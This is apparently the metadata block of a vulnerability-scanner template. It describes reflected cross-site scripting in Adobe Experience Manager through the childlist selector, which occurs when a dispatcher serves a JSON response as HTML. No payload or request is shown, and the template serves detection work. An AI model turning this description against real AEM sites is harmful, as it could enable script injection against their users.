  name: Adobe Experience Manager Childlist Selector - Cross-Site Scripting
  author: theabhinavgaur
  severity: medium
  description: |
    Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the childlist selector when a dispatcher does not respect the content type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.
